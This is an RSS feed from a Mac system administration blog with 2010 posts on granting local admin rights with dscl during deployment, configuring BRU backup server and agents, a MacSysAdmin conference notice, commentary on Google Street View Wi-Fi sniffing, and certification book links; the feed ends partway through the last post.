<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Krypted &#187; Mac Security</title>
	<atom:link href="http://krypted.com/category/mac-security/feed/" rel="self" type="application/rss+xml" />
	<link>http://krypted.com</link>
	<description>Notes from the field</description>
	<lastBuildDate>Wed, 28 Jul 2010 03:19:43 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Making Every User an Admin</title>
		<link>http://krypted.com/mac-os-x/making-every-user-an-admin/</link>
		<comments>http://krypted.com/mac-os-x/making-every-user-an-admin/#comments</comments>
		<pubDate>Wed, 28 Jul 2010 02:00:14 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Mac OS X Server]]></category>
		<category><![CDATA[Mac Security]]></category>
		<category><![CDATA[Mass Deployment]]></category>
		<category><![CDATA[admin user]]></category>
		<category><![CDATA[append]]></category>
		<category><![CDATA[defaults]]></category>
		<category><![CDATA[dscl]]></category>
		<category><![CDATA[dseditgroup]]></category>
		<category><![CDATA[MAC]]></category>
		<category><![CDATA[make a local admin]]></category>
		<category><![CDATA[scutil]]></category>
		<category><![CDATA[Text1]]></category>

		<guid isPermaLink="false">http://krypted.com/?p=6089</guid>
		<description><![CDATA[If you deploy a large number of computers to users who are somewhat likely to play practical jokes on each other then you will run into some interesting issues. If you are deploying one computer to every user and you want each user to be an administrator of their computer then you might be tempted [...]]]></description>
			<content:encoded><![CDATA[<p>If you deploy a large number of computers to users who are somewhat likely to play practical jokes on each other then you will run into some interesting issues. If you are deploying one computer to every user and you want each user to be an administrator of their computer then you might be tempted to allow all users to be administrators of all computers. If you do then prepare for an infinite number of sometimes amusing practical jokes. But really, being proactive about this brings up an interesting point: how do you deploy a computer and make only the user who you want to be an administrator an administrator.</p>
<p>In a large deployment of Mac OS X, you are going to likely have a map somewhere between what user has each computer. You may even go so far as to name the computers the same name that you name the user associated with the computer. If you do this, then you have a pretty straight-forward task ahead of you. Basically, you&#8217;ll add the user who you are handing the computer to an administrator by adding them to the admin group. In order to do so, can check the &#8220;Allow user to administer this computer&#8221; as you can see in the following figure.<br />
<a href="http://krypted.com/wp-content/uploads/2010/07/Screen-shot-2010-07-27-at-8.55.12-PM.png"><img class="aligncenter size-medium wp-image-6090" title="Screen shot 2010-07-27 at 8.55.12 PM" src="http://krypted.com/wp-content/uploads/2010/07/Screen-shot-2010-07-27-at-8.55.12-PM-300x245.png" alt="" width="300" height="245" /></a> If you have a sizable deployment you&#8217;ll want to automate this task rather than log in as each user and set the setting. You can automate the task using the dscl command along with the append verb. For example to place the user cedge into the admin group:</p>
<blockquote><p>sudo dscl . append /Groups/admin GroupMembership cedge</p></blockquote>
<p>That works as a one-off operation but not in bulk. If your computer name is the same as the user who will be using the system you can then use the scutil command and &#8220;&#8211;get&#8221; the ComputerName:</p>
<blockquote><p>scutil &#8211;get ComputerName</p></blockquote>
<p><strong>NOTE: The &#8211;get options in this article are two hyphens rather than one, WordPress just merges them for some reason&#8230;</strong></p>
<p>You can then use this as the variable to use for augmenting the GroupMembership for admin:</p>
<blockquote><p>sudo dscl . append /Groups/admin GroupMembership `scutil &#8212;get ComputerName`</p></blockquote>
<p>Pop that into a post-flight package and you&#8217;ve got yourself a solution where you make the primary user of a system the admin of the local box and then make the subsequent users standard accounts. If your ComputerName doesn&#8217;t match your user name then all is not lost. One way to grab what admin user you&#8217;d like for each host would be to populate something on the client with that information. Another would be to put it in a csv and read the line for the csv that is associated to the computer in to obtain it. If you populate something on the client it could be the Text1 field from Apple Remote Desktop. This can be done using the Remote Management option in the Sharing System Preference, clicking on Computer Settings and then typing the data into the Info 1: field.</p>
<p><a href="http://krypted.com/wp-content/uploads/2010/07/Screen-shot-2010-07-27-at-9.58.14-PM.png"><img class="aligncenter size-medium wp-image-6091" title="Screen shot 2010-07-27 at 9.58.14 PM" src="http://krypted.com/wp-content/uploads/2010/07/Screen-shot-2010-07-27-at-9.58.14-PM-300x155.png" alt="" width="300" height="155" /></a></p>
<p>To insert the information at image time (or at least programmatically), you could use defaults to write it into com.apple.RemoteDesktop.plist, located in /Library/Preferences:</p>
<blockquote>
<div id="_mcePaste">defaults write /Library/Preferences/com.apple.RemoteDesktop Text1 &#8220;cedge&#8221;</div>
</blockquote>
<p>To then read that variable:</p>
<blockquote><p>defaults read /Library/Preferences/com.apple.RemoteDesktop Text1</p></blockquote>
<p>The command to set the admin user based on the Text1 field would then be:</p>
<blockquote><p>sudo dscl . append /Groups/admin GroupMembership `defaults read /Library/Preferences/com.apple.RemoteDesktop Text1`</p></blockquote>
<p>There are probably about as many other ways to go about this as there are Mac OS X mass deployments. For example, instead of inserting data into Text1 from a defaults command, you could use kickstart with the -computerinfo option to write data into -set1 -1 or something like that (which is likely safer than defaults, albeit more difficult if you decide to do it to your non-booted volume). But hopefully these options, somewhere down the road, will help someone (after all, that&#8217;s why we post this kind of thing, right?!?!).<strong>Similar Articles:</strong>
<ul class="similar-posts">
<li><a href="http://krypted.com/mac-os-x/create-groups-using-dscl/" rel="bookmark" title="September 7, 2009">Create Groups Using dscl</a></li>
<li><a href="http://krypted.com/mac-os-x/mac-os-x-fast-user-switching/" rel="bookmark" title="April 6, 2009">Mac OS X: Fast User Switching</a></li>
<li><a href="http://krypted.com/mac-os-x-server/mac-os-x-fun-with-scutil/" rel="bookmark" title="August 13, 2008">Mac OS X: Fun with scutil</a></li>
<li><a href="http://krypted.com/mac-os-x/programatic-screen-sharing/" rel="bookmark" title="January 26, 2010">Programatic Screen Sharing</a></li>
<li><a href="http://krypted.com/mac-os-x/apple-remote-desktop-setting-up-a-task-server/" rel="bookmark" title="April 14, 2008">Apple Remote Desktop: Setting up a Task Server</a></li>
</ul>
<p><!-- Similar Posts took 5.683 ms --></p>
<hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> )</small>]]></content:encoded>
			<wfw:commentRss>http://krypted.com/mac-os-x/making-every-user-an-admin/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MacSysAdmin</title>
		<link>http://krypted.com/mac-os-x/macsysadmin/</link>
		<comments>http://krypted.com/mac-os-x/macsysadmin/#comments</comments>
		<pubDate>Fri, 11 Jun 2010 20:24:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Mac OS X Server]]></category>
		<category><![CDATA[Mac Security]]></category>
		<category><![CDATA[Mass Deployment]]></category>
		<category><![CDATA[conference]]></category>
		<category><![CDATA[MacSysAdmin]]></category>
		<category><![CDATA[speaking]]></category>

		<guid isPermaLink="false">http://krypted.com/?p=6066</guid>
		<description><![CDATA[MacSysAdmin will again be held in Gothenburg, Sweden. The dates for MacSysAdmin (and most of the speakers) have been announced. The conference will be held from September 29th through October 1st at the Folkets Hus. 
I am honored to again be a speaker and will be there throughout the conference, which includes sessions from a [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://macsysadmin.se/2010/Home.html">MacSysAdmin</a> will again be held in <a href="http://maps.google.com/maps?client=safari&amp;rls=en&amp;q=gothenburg+sweden">Gothenburg, Sweden</a>. The dates for MacSysAdmin (and most of the speakers) have been announced. The conference will be held from September 29th through October 1st at the <a href="http://www.gbg.fh.se/_eng/index.asp">Folkets Hus</a>. <img class="aligncenter" title="Gothenburg" src="http://macsysadmin.se/2010/Accommodation_files/GBG-bild.jpg" alt="" width="519" height="190" /></p>
<p>I am honored to again be a speaker and will be there throughout the conference, which includes sessions from a number of Mac gurus, including Arek Dreyer, Andrina Kelly, Alan Gordon, Karl Kuehn and Duncan McCracken.</p>
<p><a href="http://macsysadmin.se/register/register.php">Click here to sign up</a> and hope to see you there!<strong>Similar Articles:</strong>
<ul class="similar-posts">
<li><a href="http://krypted.com/mac-os-x/speaking-at-macsysadmin-2009-in-sweden/" rel="bookmark" title="August 23, 2009">Speaking at MacSysAdmin 2009 in Sweden</a></li>
<li><a href="http://krypted.com/mac-os-x/macsysadmin-videos/" rel="bookmark" title="September 25, 2009">MacSysAdmin Videos</a></li>
<li><a href="http://krypted.com/mac-os-x/slides-from-macsysadmin-talk-on-enterprise-backup/" rel="bookmark" title="September 22, 2009">Slides from MacSysAdmin Talk on Enterprise Backup</a></li>
</ul>
<p><!-- Similar Posts took 4.252 ms --></p>
<hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> )</small>]]></content:encoded>
			<wfw:commentRss>http://krypted.com/mac-os-x/macsysadmin/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>BRU Primer -&gt; Advanced</title>
		<link>http://krypted.com/mac-os-x/bru-primer-advanced/</link>
		<comments>http://krypted.com/mac-os-x/bru-primer-advanced/#comments</comments>
		<pubDate>Wed, 09 Jun 2010 15:00:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Mac OS X Server]]></category>
		<category><![CDATA[Mac Security]]></category>
		<category><![CDATA[agent]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[BRU]]></category>
		<category><![CDATA[bru-server]]></category>
		<category><![CDATA[Command line]]></category>
		<category><![CDATA[config]]></category>
		<category><![CDATA[console]]></category>
		<category><![CDATA[kill]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[server]]></category>

		<guid isPermaLink="false">http://krypted.com/?p=6043</guid>
		<description><![CDATA[In BRU 2, you have 3 tools to use. These include:

BRU Server Agent Config (UB) &#8211; A tool used to install the agent, which needs to be located on each machine that will be backed up (including the server if it has any data to back up)
BRU Server Config (UB) &#8211; Used to configure the [...]]]></description>
			<content:encoded><![CDATA[<p>In BRU 2, you have 3 tools to use. These include:</p>
<ul>
<li>BRU Server Agent Config (UB) &#8211; A tool used to install the agent, which needs to be located on each machine that will be backed up (including the server if it has any data to back up)</li>
<li>BRU Server Config (UB) &#8211; Used to configure the server daemon, backup server configurations and set passwords to communicate with the server. Also used to set licensing information and perform scans for new tape drives and libraries.</li>
<li>BRU Server Console (UB) &#8211; Used to configure backup jobs, schedules, etc.</li>
</ul>
<p>To get started, open the BRU Server Config application from the components that come with your software (or that you downloaded from the BRU website). First you will be asked to provide an administrative password to BRU. Provide the password and then click on Save.</p>
<p><a href="http://krypted.com/wp-content/uploads/2010/06/Screen-shot-2010-06-09-at-12.14.21-AM.png"><img class="aligncenter size-medium wp-image-6045" title="BRU Password" src="http://krypted.com/wp-content/uploads/2010/06/Screen-shot-2010-06-09-at-12.14.21-AM-300x138.png" alt="" width="300" height="138" /></a>Next, the server components will be copied to /usr/local/bru-server. The system will also perform a hardware scan of your server, looking for tape drives and libraries (you can always rerun this process later if need be).</p>
<p><a href="http://krypted.com/wp-content/uploads/2010/06/Screen-shot-2010-06-09-at-12.14.42-AM.png"><img class="aligncenter size-medium wp-image-6046" title="BRU hardware scan" src="http://krypted.com/wp-content/uploads/2010/06/Screen-shot-2010-06-09-at-12.14.42-AM-300x186.png" alt="" width="300" height="186" /></a>Once the processes are complete the BRU Server Configuration Tool will open and you can configure the server. To do so, first click Start to start the daemon. If you need to restart it at a later date you can simply click on the Stop or Restart buttons here. Then, if like most, you would like for the server to start at boot, check the box for Server daemon starts at boot. Here, you can also use the Backup and Restore buttons to backup and restore server configurations or the Modify button to enter a new password for the server.</p>
<p><a href="http://krypted.com/wp-content/uploads/2010/06/Screen-shot-2010-06-09-at-12.15.08-AM.png"><img class="aligncenter size-medium wp-image-6047" title="BRU Server Config" src="http://krypted.com/wp-content/uploads/2010/06/Screen-shot-2010-06-09-at-12.15.08-AM-300x240.png" alt="" width="300" height="240" /></a>You can also perform most of these options from the command line using the server command located in /usr/local/bru-server. For example, to stop the server, you would use the &#8211;kill option:</p>
<blockquote><p>/usr/local/bru-server/server &#8211;kill</p></blockquote>
<p>To then start the server, run it with no arguments:</p>
<blockquote><p>/usr/local/bru-server/server</p></blockquote>
<p>Or to set the password, you would use (go figure) the &#8211;password option:</p>
<blockquote><p>/usr/local/bru-server/server &#8211;password</p></blockquote>
<p>You can also perform some options not exposed in the Configuration Tool GUI, such as running it on a custom port using the &#8211;port option followed by the port number:</p>
<blockquote><p>/usr/local/bru-server/server &#8211;port=8090</p></blockquote>
<p>Finally, you can check the version and license information using the &#8211;version and &#8211;license options respectively.</p>
<p>Once you are satisfied with your configuration of the server component, you will then close the tool and move on to installing the Agent(s). Each machine that will get backed up will need an agent installed. Configure the options for the BRU Agent using the BRU Server Agent Config application. Simply open the application from your installer. On first open, the agent will copy /usr/local/bru-server to your machine (if you installed the server it will just copy the agent portions of BRU), which will contain the agent. You will also then see a b icon in the menu bar. Click on the b icon in the menu bar and then click on Agent Configuration to bring up a screen similar to the following.</p>
<p><a href="http://krypted.com/wp-content/uploads/2010/06/Screen-shot-2010-06-09-at-12.04.43-AM.png"><img class="aligncenter size-medium wp-image-6044" title="BRU Agent Configuration" src="http://krypted.com/wp-content/uploads/2010/06/Screen-shot-2010-06-09-at-12.04.43-AM-300x210.png" alt="" width="300" height="210" /></a></p>
<p>Here, click on the Start button to configure the agent. You will typically want the agent to start automatically when you install a system, so click on the check box for Agent daemon starts automatically. You will then need to provide a server that the agent can communicate with. To do so, click on the plus sign (+) on the screen and then provide the server that the agent can communicate with and the credentials to do so. Once complete, you will then be able to see the client system in the Server Console.</p>
<p>You can also configure it from the command line, fairly easily. To do so, run the agent, located in /usr/local/bru-server, along with the &#8211;config option:</p>
<blockquote><p>/usr/local/bru-server/agent &#8211;config</p></blockquote>
<p>The BRU Server Agent Configuration will then enter into the interactive mode and you will see any BRU Server Console&#8217;s that the agent is configured to communicate with. Here, type N and then you will be prompted for the hostname of your BRU Server. Here, provide the  name or an IP address for the server and then hit the enter key. When prompted, provide a password to enter into the Console. The server will then be assigned a unique number. Entering that at the interactive prompt will then remove the server again. Once the agent has been started, it can be stopped by running the agent command with the &#8211;kill option:</p>
<blockquote><p>/usr/local/bru-server &#8211;kill</p></blockquote>
<p><em>Note: For Windows, the configuration command line tool is located in C:\Program Files\BRU Server Agent Configuration.</em></p>
<p>Now that you have configured the agent and the server, it&#8217;s time to actually setup jobs and schedules. To get started, open the BRU Server Console application. The console components will then be copied into /usr/local/bru-server.</p>
<p><a href="http://krypted.com/wp-content/uploads/2010/06/Screen-shot-2010-06-09-at-12.36.39-AM.png"><img class="aligncenter size-medium wp-image-6048" title="BRU Server Console" src="http://krypted.com/wp-content/uploads/2010/06/Screen-shot-2010-06-09-at-12.36.39-AM-300x148.png" alt="" width="300" height="148" /></a>Click on OK and then the authenticate to the server.</p>
<p><a href="http://krypted.com/wp-content/uploads/2010/06/Screen-shot-2010-06-09-at-12.37.08-AM.png"><img class="aligncenter size-medium wp-image-6049" title="Bru Console Authentication" src="http://krypted.com/wp-content/uploads/2010/06/Screen-shot-2010-06-09-at-12.37.08-AM-300x182.png" alt="" width="300" height="182" /></a>Once you have logged in, you will see the console. If the installation of the agents went properly, you should see any that you have installed as well.</p>
<p><a href="http://krypted.com/wp-content/uploads/2010/06/Screen-shot-2010-06-09-at-12.39.34-AM.png"><img class="aligncenter size-medium wp-image-6050" title="BRU Server Console" src="http://krypted.com/wp-content/uploads/2010/06/Screen-shot-2010-06-09-at-12.39.34-AM-300x205.png" alt="" width="300" height="205" /></a>Disk-to-Disk backups in BRU are mostly considered a staging area, where data is stored while waiting to be shuttled to tape. To set the staging area, click on the BRU Server Console menu and then click on Preferences&#8230;</p>
<p><a href="http://krypted.com/wp-content/uploads/2010/06/Screen-shot-2010-06-09-at-12.46.21-AM.png"><img class="aligncenter size-medium wp-image-6052" title="Setting the Staging Area in BRU" src="http://krypted.com/wp-content/uploads/2010/06/Screen-shot-2010-06-09-at-12.46.21-AM-300x287.png" alt="" width="300" height="287" /></a></p>
<p>In the Stage Path field, provide a path that the stage files will be stored in. You can also set the maximum age of the staging data and the number of jobs to be stored in the history. When you&#8217;re satisfied with your settings, click on the Save button.</p>
<p>Back at the Console screen, you will click on the plus sign (+) to add a new backup job, which will bring up the screen you see here.</p>
<p><a href="http://krypted.com/wp-content/uploads/2010/06/Screen-shot-2010-06-09-at-12.42.47-AM.png"><img class="aligncenter size-medium wp-image-6051" title="Backup Job" src="http://krypted.com/wp-content/uploads/2010/06/Screen-shot-2010-06-09-at-12.42.47-AM-300x267.png" alt="" width="300" height="267" /></a></p>
<p>The backup job will include the following options:</p>
<ul>
<li>Job name: A name for the job.</li>
<li>Destination: Where the backup will be written to. You can use Stage Disk or choose a tape drive/library.</li>
<li>Backup Type: Your first job will need to be a full, subsequent jobs can be incremental or differential, which will require you to set a full job that you have created as the &#8220;Base Job&#8221;. An incremental will backup files that have been altered since the last incremental or full backup. A differential will backup all files altered since the last full, even if they were already backed up. Differentials will lead to faster restore times as you near the end of a backup cycle; however, they will usually take up considerably more space.</li>
<li>Base Job: The full backup job to base a differential or incremental backup job on.</li>
<li>Compression: Whether or not the software will attempt to compress data. Enabling compression causes slower backups, but takes up less space.</li>
<li>Email: An address to send backup reports to for the given job.</li>
<li>Verify Backup: Performs a scan of backed up files to ensure they match the source. This will take longer than if you do not enable it but provides peace of mind/assurance/etc.</li>
<li>Eject Tape after job completes: Only used if you are using tape, usually not used if you are using tape libraries.</li>
<li>Enable archive encryption: Encrypts archives <img src='http://krypted.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </li>
</ul>
<p>Once you have configured a job as you see fit, click on OK and you will be taken back to the BRU Server Console screen. For each job you will still need to configure a schedule for the job as well as what source directories/files to be backed up. To set the schedule, click on the job name to be scheduled and then click on the Schedule&#8230; button. At the Job Scheduler screen, set the frequency and starting times that your job should run at and then click on the Save button.</p>
<p><a href="http://krypted.com/wp-content/uploads/2010/06/Screen-shot-2010-06-09-at-12.56.58-AM.png"><img class="aligncenter size-medium wp-image-6053" title="BRU Job Scheduler" src="http://krypted.com/wp-content/uploads/2010/06/Screen-shot-2010-06-09-at-12.56.58-AM-300x186.png" alt="" width="300" height="186" /></a>You will then need to configure the source directories for your backups. Back at the Console screen, click on the name of the job and then click on each directory to be backed up. Clicking on a directory will cycle through color codes. The colors indicate whether or not the directory will be backed up:</p>
<ul>
<li>yellow indicates that part of a directory will be backed up</li>
<li>green indicates the entire directory will be backed up</li>
<li>red indicates that a directory will explicitly be skipped</li>
</ul>
<p>When you are satisfied with your backup job, click Save. You will then configure an incremental or differential job for each base job and finally a job that is specifically for upstaging data to tape, or completing the disk-to-disk-to-tape sequence. When you are finished configuring each of your jobs you can run them manually to test by clicking on the Run Now while the job is selected from the console. When running, you can monitor each job using the Tools icon in the side bar and then the Job Monitor option in the Tools drop-down menu. To stop a job that is running, you can click on the Kill command here.</p>
<p>You can also run jobs from the command line, using the backup option for the bru-server.cmd command located in /usr/local/bru-server. The command can be run using the -j option (name of job), followed by the name of the job to be run, followed by the -t option (type of job), followed by the type of job being run (ie &#8211; Full, Incremental or Differental), followed by -Z (enable compression) and -v (enable verification), followed by the paths (starting with server names) to be backed up in brackets. For example, to run our test job:</p>
<blockquote><p>backup -j &#8220;test&#8221; -t &#8220;Full&#8221; -Z -v ["/krypted//Volumes/Installers"]</p></blockquote>
<p>This allows you to somewhat seamlessly integrate the backup of files that are archived with Final Cut Server, by calling up the backup command as a post-flight action for any automations kicked off by Final Cut Server. You can also backup data using the bru-server.cmd command in /usr/local/bru-server. You can then restore files that are backed up using the bru-server.cmd command&#8217;s restore option. In order to use the restore option, you&#8217;ll need to know which archive the file is stored in. In order to find that you will also need to script the search option (search for the appropriate file and then craft your restore to pull data back to the restore path for fcsvr_client using the correct archive that the file is stored on). To search through the archives for the appropriate file:</p>
<blockquote><p>search &#8220;my file.mov&#8221;</p></blockquote>
<p>You can also provide archives as part of the search, but we likely wouldn&#8217;t be searching here if we knew which ones to use.</p>
<p><em>Note: The BRU commands are based on python. When the python environment on a machine has been customized the results for BRU can be unexpected.</em><strong>Similar Articles:</strong>
<ul class="similar-posts">
<li><a href="http://krypted.com/mac-os-x/backup-exec-for-mac-os-x/" rel="bookmark" title="June 10, 2009">Backup Exec for Mac OS X</a></li>
<li><a href="http://krypted.com/business/cage-match-retrospect-vs-bru/" rel="bookmark" title="September 13, 2006">Cage Match: Retrospect vs. BRU</a></li>
<li><a href="http://krypted.com/final-cut-server/archive-restore-assets-with-fcsvr_client/" rel="bookmark" title="June 7, 2010">Archive &#038; Restore Assets with fcsvr_client</a></li>
<li><a href="http://krypted.com/mac-os-x/mac-os-x-trusted-binding/" rel="bookmark" title="September 29, 2007">Mac OS X: Trusted Binding</a></li>
<li><a href="http://krypted.com/mac-os-x-server/howto-install-awstats-on-os-x/" rel="bookmark" title="February 3, 2006">Howto Install awstats on OS X</a></li>
</ul>
<p><!-- Similar Posts took 12.750 ms --></p>
<hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> )</small>]]></content:encoded>
			<wfw:commentRss>http://krypted.com/mac-os-x/bru-primer-advanced/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Google Hax0ring a Neighborhood Near You</title>
		<link>http://krypted.com/mac-security/google-hax0ring-a-neighborhood-near-you/</link>
		<comments>http://krypted.com/mac-security/google-hax0ring-a-neighborhood-near-you/#comments</comments>
		<pubDate>Tue, 18 May 2010 14:00:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Mac Security]]></category>

		<guid isPermaLink="false">http://krypted.com/mac-security/google-hax0ring-a-neighborhood-near-you/</guid>
		<description><![CDATA[I seem to remember that Google once made a promise to do no evil. This doesn&#8217;t mean they don&#8217;t occasionally do wrong, but they continue to react in ways that are appropriate and keep the wrong from becoming evil.
Google Maps is one of my favorite parts of the web. Before I book a hotel room [...]]]></description>
			<content:encoded><![CDATA[<p>I seem to remember that Google once made a promise to do no evil. This doesn&#8217;t mean they don&#8217;t occasionally do wrong, but they continue to react in ways that are appropriate and keep the wrong from becoming evil.</p>
<p>Google Maps is one of my favorite parts of the web. Before I book a hotel room I usually check out the area from a few different angles. In part, this is made possible by the Google street view cars. These little cars zip around the globe taking images of the front of our homes, out potential hotels and even catch people doing things they shouldn&#8217;t. </p>
<p>But those same cars were also war driving. Really, I&#8217;m sure they were mostly collecting SSID and MAC addresses to allow non-GPS enabled computers to be physically aware of their location based on approximate wireless connections. This service, included from another vendor in Mac OS X, looks up close wireless networks and based on unique values from those networks can set your time zone. There are a myriad of other uses with mapping out wireless access point locations, but other than winning competitions at DefCon, that&#8217;s the most popular. </p>
<p>Those little cars that Google sends around were also capturing information that they weren&#8217;t intended to capture: live network traffic from networks lacking encryption. Not much, as the wireless equipment in those cars changes channels a few times a second&#8230; Sniffing wireless traffic is something that has been possible for a long time. But few could have sniffed as much traffic as Google given our lack of fleets of automobiles running around the world doing so. </p>
<p>But Google did the right thing. It was uncovered, they posted it to their blog and sought out a third party to help them to review and then dump the data. So good going Google. Thanks for not being evil, and please keep those cars running around the world and helping to make the web a more interesting place to visit. Oh and if you&#8217;re not securing your wireless networks, take this as yet another reason to do so&#8230;<strong>Similar Articles:</strong>
<ul class="similar-posts">None Found
</ul>
<p><!-- Similar Posts took 2.342 ms --></p>
<hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> )</small>]]></content:encoded>
			<wfw:commentRss>http://krypted.com/mac-security/google-hax0ring-a-neighborhood-near-you/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Peachpit Books</title>
		<link>http://krypted.com/iphone/peachpit-books/</link>
		<comments>http://krypted.com/iphone/peachpit-books/#comments</comments>
		<pubDate>Fri, 07 May 2010 17:22:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Mac OS X Server]]></category>
		<category><![CDATA[Mac Security]]></category>
		<category><![CDATA[Mass Deployment]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[10.6]]></category>
		<category><![CDATA[ACSA]]></category>
		<category><![CDATA[Peachpit Books]]></category>

		<guid isPermaLink="false">http://krypted.com/?p=5990</guid>
		<description><![CDATA[Now that all of the Peachpit books are available for 10.6 Certification purposes I thought it might be a good time to post a link to all of them. Here goes:

Or for ACMA (the Final Cut below could be swapped out with Support Essentials, Directory Services or Deployment):
Similar Articles:

Apple&#039;s New Certification Track
Adding DHCP Options in [...]]]></description>
			<content:encoded><![CDATA[<p>Now that all of the Peachpit books are available for 10.6 Certification purposes I thought it might be a good time to post a link to all of them. Here goes:<br />
<iframe src="http://rcm.amazon.com/e/cm?lt1=_blank&#038;bc1=000000&#038;IS2=1&#038;bg1=FFFFFF&#038;fc1=000000&#038;lc1=0000FF&#038;t=charlesedge-20&#038;o=1&#038;p=8&#038;l=as1&#038;m=amazon&#038;f=ifr&#038;md=10FE9736YVPPT7A0FBG2&#038;asins=0321635337" style="width:120px;height:240px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe><iframe src="http://rcm.amazon.com/e/cm?lt1=_blank&#038;bc1=000000&#038;IS2=1&#038;bg1=FFFFFF&#038;fc1=000000&#038;lc1=0000FF&#038;t=charlesedge-20&#038;o=1&#038;p=8&#038;l=as1&#038;m=amazon&#038;f=ifr&#038;md=10FE9736YVPPT7A0FBG2&#038;asins=0321635345" style="width:120px;height:240px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe><iframe src="http://rcm.amazon.com/e/cm?lt1=_blank&#038;bc1=000000&#038;IS2=1&#038;bg1=FFFFFF&#038;fc1=000000&#038;lc1=0000FF&#038;t=charlesedge-20&#038;o=1&#038;p=8&#038;l=as1&#038;m=amazon&#038;f=ifr&#038;md=10FE9736YVPPT7A0FBG2&#038;asins=0321635310" style="width:120px;height:240px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe><iframe src="http://rcm.amazon.com/e/cm?lt1=_blank&#038;bc1=000000&#038;IS2=1&#038;bg1=FFFFFF&#038;fc1=000000&#038;lc1=0000FF&#038;t=charlesedge-20&#038;o=1&#038;p=8&#038;l=as1&#038;m=amazon&#038;f=ifr&#038;md=10FE9736YVPPT7A0FBG2&#038;asins=0321635329" style="width:120px;height:240px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe><iframe src="http://rcm.amazon.com/e/cm?lt1=_blank&#038;bc1=000000&#038;IS2=1&#038;bg1=FFFFFF&#038;fc1=000000&#038;lc1=0000FF&#038;t=charlesedge-20&#038;o=1&#038;p=8&#038;l=as1&#038;m=amazon&#038;f=ifr&#038;md=10FE9736YVPPT7A0FBG2&#038;asins=0321635353" style="width:120px;height:240px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe></p>
<p>Or for ACMA (the Final Cut below could be swapped out with Support Essentials, Directory Services or Deployment):<br />
<iframe src="http://rcm.amazon.com/e/cm?lt1=_blank&#038;bc1=000000&#038;IS2=1&#038;bg1=FFFFFF&#038;fc1=000000&#038;lc1=0000FF&#038;t=charlesedge-20&#038;o=1&#038;p=8&#038;l=as1&#038;m=amazon&#038;f=ifr&#038;md=10FE9736YVPPT7A0FBG2&#038;asins=0321613228" style="width:120px;height:240px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe><iframe src="http://rcm.amazon.com/e/cm?lt1=_blank&#038;bc1=000000&#038;IS2=1&#038;bg1=FFFFFF&#038;fc1=000000&#038;lc1=0000FF&#038;t=charlesedge-20&#038;o=1&#038;p=8&#038;l=as1&#038;m=amazon&#038;f=ifr&#038;md=10FE9736YVPPT7A0FBG2&#038;asins=0321647653" style="width:120px;height:240px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe><iframe src="http://rcm.amazon.com/e/cm?lt1=_blank&#038;bc1=000000&#038;IS2=1&#038;bg1=FFFFFF&#038;fc1=000000&#038;lc1=0000FF&#038;t=charlesedge-20&#038;o=1&#038;p=8&#038;l=as1&#038;m=amazon&#038;f=ifr&#038;md=10FE9736YVPPT7A0FBG2&#038;asins=0321635337" style="width:120px;height:240px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe><iframe src="http://rcm.amazon.com/e/cm?lt1=_blank&#038;bc1=000000&#038;IS2=1&#038;bg1=FFFFFF&#038;fc1=000000&#038;lc1=0000FF&#038;t=charlesedge-20&#038;o=1&#038;p=8&#038;l=as1&#038;m=amazon&#038;f=ifr&#038;md=10FE9736YVPPT7A0FBG2&#038;asins=0321635272" style="width:120px;height:240px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe><strong>Similar Articles:</strong>
<ul class="similar-posts">
